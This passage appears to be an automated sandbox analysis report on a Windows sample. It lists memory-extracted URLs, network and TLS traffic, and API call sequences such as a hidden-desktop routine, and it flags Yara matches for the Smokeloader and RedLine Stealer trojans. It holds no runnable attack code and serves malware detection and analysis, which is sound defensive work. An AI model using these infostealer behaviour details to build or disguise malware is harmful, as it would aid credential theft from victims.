Source: chrome.exe, 00000003.00000003.2245754378.00006F5401AD4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1695049414&target=OPTIMIZATION_TARGET_NOT
Source: chrome.exe, 00000003.00000003.2247264062.00006F54015A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2247292521.00006F54015A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=210230727&target=OPTIMIZATION_TARGET_CLIE
Source: msedge.exe, 00000007.00000003.2310358479.000024A400264000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2310423627.000024A400274000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/AddSession
Source: msedge.exe, 00000007.00000003.2310358479.000024A400264000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2310423627.000024A400274000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/Logout
Source: msedge.exe, 00000007.00000003.2310358479.000024A400264000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2310423627.000024A400274000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/LogoutYxABzen
Source: msedge.exe, 00000007.00000003.2310358479.000024A400264000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2310423627.000024A400274000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/MergeSession
Source: msedge.exe, 00000007.00000003.2310423627.000024A400274000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/OAuthLogin
Source: msedge.exe, 00000007.00000003.2310358479.000024A400264000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2310423627.000024A400274000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/RotateBoundCookies
Source: msedge.exe, 00000007.00000003.2310358479.000024A400264000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2310423627.000024A400274000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/chrome/blank.html
Source: msedge.exe, 00000007.00000003.2310358479.000024A400264000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2310423627.000024A400274000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/o/oauth2/revoke
Source: msedge.exe, 00000007.00000003.2310358479.000024A400264000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2310423627.000024A400274000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/oauth/multilogin
Source: msedge.exe, 00000007.00000003.2310358479.000024A400264000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2310423627.000024A400274000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/oauth2/v1/userinfo
Source: msedge.exe, 00000007.00000003.2310358479.000024A400264000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2310423627.000024A400274000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/oauth2/v2/tokeninfo
Source: msedge.exe, 00000007.00000003.2310358479.000024A400264000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2310423627.000024A400274000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/oauth2/v4/token
Source: msedge.exe, 00000007.00000003.2310358479.000024A400264000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2310423627.000024A400274000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/reauth/v1beta/users/
Source: msedge.exe, 00000007.00000003.2310358479.000024A400264000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2310423627.000024A400274000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/v1/issuetoken
Source: chrome.exe, 00000003.00000003.2213353907.00006F5400EF0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://photos.google.com/settings?referrer=CHROME_NTP
Source: chrome.exe, 00000003.00000003.2215658771.00006F5401154000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2215381406.00006F5400394000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2215729175.00006F5400B24000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://photos.google.com?referrer=CHROME_NTP
Source: chromecache_96.5.dr	String found in binary or memory: https://play.google.com/log?format=json&hasfast=true
Source: chrome.exe, 00000003.00000003.2213353907.00006F5400EF0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://policies.google.com/
Source: chrome.exe, 00000003.00000003.2243883095.00006F5401318000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.gcp.privacysandboxservices.com
Source: chrome.exe, 00000003.00000003.2243883095.00006F5401318000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.aws.privacysandboxservices.com
Source: chrome.exe, 00000003.00000003.2243883095.00006F5401318000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.aws.privacysandboxservices.com/.well-known/protected-auction/v1/public-k
Source: chrome.exe, 00000003.00000003.2243883095.00006F5401318000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.gcp.privacysandboxservices.com
Source: chrome.exe, 00000003.00000003.2243883095.00006F5401318000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.gcp.privacysandboxservices.com/.well-known/protected-auction/v1/public-k
Source: chrome.exe, 00000003.00000003.2243883095.00006F5401318000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shieldedids-pa.googleapis.com2
Source: chrome.exe, 00000003.00000003.2243883095.00006F5401318000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shieldedids-pa.googleapis.comJv
Source: chrome.exe, 00000003.00000003.2235655371.00006F5400294000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com
Source: chrome.exe, 00000003.00000003.2249882459.00006F5401B70000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2258914827.00006F5401BA4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2259482857.00006F5401C8C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2249645535.00006F5401BA4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2259398727.00006F5401BC0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com/gb/images/bar/al-icon.png
Source: DHDBGHCBAEGCBFHJEBFIEHCBFB.0.dr	String found in binary or memory: https://support.mozilla.org
Source: DHDBGHCBAEGCBFHJEBFIEHCBFB.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: DHDBGHCBAEGCBFHJEBFIEHCBFB.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt
Source: 2BI8rJKpBa.exe, 00000000.00000002.2668293403.0000000000863000.00000004.00000020.00020000.00000000.sdmp, AKKKECBKKECGCAAAEHJK.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: 2BI8rJKpBa.exe, 00000000.00000003.2295673770.00000000008C1000.00000004.00000020.00020000.00000000.sdmp, KEGDBFIJ.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: chrome.exe, 00000003.00000003.2235655371.00006F5400294000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com
Source: chrome.exe, 00000003.00000003.2235655371.00006F5400294000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com;report-uri
Source: chrome.exe, 00000003.00000003.2235655371.00006F5400294000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: chrome.exe, 00000003.00000003.2210548226.00006F5400F0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2211131265.00006F5400478000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2209887214.00006F5400478000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/
Source: chrome.exe, 00000003.00000003.2243883095.00006F5401318000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/go-mobile/?ios-campaign=desktop-chr-ntp&android-campaign=desktop-chr-n
Source: chrome.exe, 00000003.00000003.2243883095.00006F5401318000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/hats/index.htmlb
Source: 2BI8rJKpBa.exe, 00000000.00000003.2295673770.00000000008C1000.00000004.00000020.00020000.00000000.sdmp, KEGDBFIJ.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: chrome.exe, 00000003.00000003.2249882459.00006F5401B70000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2258914827.00006F5401BA4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2259482857.00006F5401C8C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2249645535.00006F5401BA4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2259398727.00006F5401BC0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/imghp?hl=en&tab=ri&ogbl
Source: chrome.exe, 00000003.00000003.2259398727.00006F5401BC0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2250364202.00006F5401C24000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/intl/en/about/products?tab=rh
Source: chrome.exe, 00000003.00000003.2243883095.00006F5401318000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search
Source: chrome.exe, 00000003.00000003.2215729175.00006F5400B24000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search?q=$
Source: chrome.exe, 00000003.00000003.2235655371.00006F5400294000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.comAccess-Control-Allow-Credentials:
Source: chrome.exe, 00000003.00000003.2243883095.00006F5401318000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/aida2
Source: chrome.exe, 00000003.00000003.2243883095.00006F5401318000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/shieldedids.manager2
Source: chrome.exe, 00000003.00000003.2243883095.00006F5401318000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/shieldedids.manager23
Source: chrome.exe, 00000003.00000003.2235655371.00006F5400294000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com
Source: chrome.exe, 00000003.00000003.2235655371.00006F5400294000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com
Source: chromecache_96.5.dr	String found in binary or memory: https://www.gstatic.com/gb/html/afbp.html
Source: chromecache_96.5.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_medium.css
Source: chromecache_96.5.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_small.css
Source: chrome.exe, 00000003.00000003.2259398727.00006F5401BC0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/images/icons/material/system/1x/broken_image_grey600_18dp.png
Source: chrome.exe, 00000003.00000003.2250387454.00006F54010BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2258914827.00006F5401BA4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2259482857.00006F5401C8C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2249645535.00006F5401BA4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2259398727.00006F5401BC0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/images/icons/material/system/2x/broken_image_grey600_18dp.png
Source: chrome.exe, 00000003.00000003.2259398727.00006F5401BC0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2250364202.00006F5401C24000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/og/_/js/k=og.qtm.en_US.otmEBJ358uU.2019.O/rt=j/m=q_dnp
Source: chrome.exe, 00000003.00000003.2259398727.00006F5401BC0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2250364202.00006F5401C24000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/og/_/ss/k=og.qtm.zyyRgCCaN80.L.W.O/m=qmd
Source: DHDBGHCBAEGCBFHJEBFIEHCBFB.0.dr	String found in binary or memory: https://www.mozilla.org
Source: DHDBGHCBAEGCBFHJEBFIEHCBFB.0.dr	String found in binary or memory: https://www.mozilla.org#
Source: 2BI8rJKpBa.exe, 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmp, 2BI8rJKpBa.exe, 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: 2BI8rJKpBa.exe, 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/GDHJJKECAECB
Source: DHDBGHCBAEGCBFHJEBFIEHCBFB.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: 2BI8rJKpBa.exe, 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmp, 2BI8rJKpBa.exe, 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: 2BI8rJKpBa.exe, 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/W1sYnpxLnB3ZA==
Source: DHDBGHCBAEGCBFHJEBFIEHCBFB.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: DHDBGHCBAEGCBFHJEBFIEHCBFB.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: 2BI8rJKpBa.exe, 00000000.00000002.2668293403.0000000000863000.00000004.00000020.00020000.00000000.sdmp, AKKKECBKKECGCAAAEHJK.0.dr	String found in binary or memory: https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_
Source: chrome.exe, 00000003.00000003.2206992786.00006F54006B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/:
Source: chrome.exe, 00000003.00000003.2206992786.00006F54006B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/?feature=ytca
Source: chrome.exe, 00000003.00000003.2206992786.00006F54006B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/J
Source: chrome.exe, 00000003.00000003.2206992786.00006F54006B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/s/notifications/manifest/cr_install.html

Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50006 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49927
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49701

Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49779 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49815 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49862 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49927 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:50006 version: TLS 1.2

Source: C:\Users\user\Desktop\2BI8rJKpBa.exe

Code function: 0_2_004097A0 memset,memset,lstrcatA,lstrcatA,lstrcatA,memset,wsprintfA,OpenDesktopA,CreateDesktopA,memset,lstrcatA,lstrcatA,lstrcatA,memset,SHGetFolderPathA,lstrcpy,StrStrA,lstrcpyn,lstrlenA,wsprintfA,lstrcpy,memset,CreateProcessA,Sleep,CloseDesktop,

0_2_004097A0

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000000.00000002.2668726233.0000000002310000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000000.00000002.2668225897.0000000000790000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown

Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_6CA1B700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6CA1B700
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_6CA1B8C0 rand_s,NtQueryVirtualMemory,	0_2_6CA1B8C0
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_6CA1B910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	0_2_6CA1B910
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_6C9BF280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C9BF280

Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_004248D0	0_2_004248D0
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_6C9B35A0	0_2_6C9B35A0
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_6CA134A0	0_2_6CA134A0
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_6CA1C4A0	0_2_6CA1C4A0
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_6C9C6C80	0_2_6C9C6C80
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_6C9DD4D0	0_2_6C9DD4D0
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_6C9C64C0	0_2_6C9C64C0
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_6C9F6CF0	0_2_6C9F6CF0
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_6C9BD4E0	0_2_6C9BD4E0
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_6CA2542B	0_2_6CA2542B
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_6C9F5C10	0_2_6C9F5C10
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_6CA2AC00	0_2_6CA2AC00
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_6CA02C10	0_2_6CA02C10
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_6C9C5440	0_2_6C9C5440
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_6CA2545C	0_2_6CA2545C
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_6C9F0DD0	0_2_6C9F0DD0
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_6CA185F0	0_2_6CA185F0
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_6C9E0512	0_2_6C9E0512
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_6C9DED10	0_2_6C9DED10
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_6C9CFD00	0_2_6C9CFD00
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_6CA14EA0	0_2_6CA14EA0
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_6C9D5E90	0_2_6C9D5E90
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_6CA1E680	0_2_6CA1E680
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_6CA276E3	0_2_6CA276E3
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_6C9BBEF0	0_2_6C9BBEF0
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_6C9CFEF0	0_2_6C9CFEF0
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_6C9F7E10	0_2_6C9F7E10
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_6CA19E30	0_2_6CA19E30
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_6CA05600	0_2_6CA05600
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_6CA26E63	0_2_6CA26E63
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_6C9D9E50	0_2_6C9D9E50
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_6C9F3E50	0_2_6C9F3E50
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_6C9D4640	0_2_6C9D4640
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_6C9BC670	0_2_6C9BC670
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_6CA02E4E	0_2_6CA02E4E
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_6CA077A0	0_2_6CA077A0
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_6C9E6FF0	0_2_6C9E6FF0
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_6C9BDFE0	0_2_6C9BDFE0
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_6C9F7710	0_2_6C9F7710
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_6C9C9F00	0_2_6C9C9F00
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_6C9E60A0	0_2_6C9E60A0
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_6CA250C7	0_2_6CA250C7
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_6C9DC0E0	0_2_6C9DC0E0
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_6C9F58E0	0_2_6C9F58E0
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_6CA04820	0_2_6CA04820
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_6C9C7810	0_2_6C9C7810
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_6C9FB820	0_2_6C9FB820
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_6C9D8850	0_2_6C9D8850
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_6C9DD850	0_2_6C9DD850
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_6C9FF070	0_2_6C9FF070
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_6C9F5190	0_2_6C9F5190
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_6C9ED9B0	0_2_6C9ED9B0
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_6CA12990	0_2_6CA12990
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_6C9BC9A0	0_2_6C9BC9A0
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_6CA0B970	0_2_6CA0B970
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_6CA2B170	0_2_6CA2B170
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_6C9DA940	0_2_6C9DA940
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_6C9CD960	0_2_6C9CD960
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_6CA22AB0	0_2_6CA22AB0
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_6C9CCAB0	0_2_6C9CCAB0
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_6CA2BA90	0_2_6CA2BA90
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_6C9B22A0	0_2_6C9B22A0
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_6C9E4AA0	0_2_6C9E4AA0
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_6C9F8AC0	0_2_6C9F8AC0
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_6C9D1AF0	0_2_6C9D1AF0
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_6C9FE2F0	0_2_6C9FE2F0
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_6C9F9A60	0_2_6C9F9A60
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_6C9BF380	0_2_6C9BF380
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_6CA253C8	0_2_6CA253C8
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_6C9FD320	0_2_6C9FD320
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_6C9B5340	0_2_6C9B5340
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_6C9CC370	0_2_6C9CC370
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_6CA5ECC0	0_2_6CA5ECC0
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_6CABECD0	0_2_6CABECD0
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_6CB3AC30	0_2_6CB3AC30
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_6CB26C00	0_2_6CB26C00
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_6CA6AC60	0_2_6CA6AC60
